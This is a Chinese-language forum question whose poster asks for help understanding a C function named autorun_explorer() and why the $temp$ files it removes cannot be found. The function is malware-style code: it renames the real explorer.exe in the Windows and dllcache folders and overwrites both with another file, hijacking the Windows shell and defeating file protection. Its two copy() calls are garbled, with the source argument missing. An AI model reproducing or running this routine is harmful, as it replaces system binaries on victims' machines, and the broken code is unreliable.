求求大家帮我一下 我就是看不明白啊!!!!!!
int autorun_explorer() {
FILE *input;
if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
{
fclose(input);
remove("c:\\windows\\$temp$");
remove("c:\\windows\\system32\\dllcache\\$temp$");
return 1;
}
copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32
\\dllcache\\$temp$");
if(copy(","c:\\windows\\explorer.exe")==0 && copy
(","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
return 0;
else
return 2;
}
=================================================================================
上面的程序中
remove("c:\\windows\\$temp$");
remove("c:\\windows\\system32\\dllcache\\$temp$");
这两句换 是不是 删除$temp$ 文件夹可是我在WINDOWS 和 DLLCACHE
文件夹里没找到$temp$文件啊???????
这是为什么???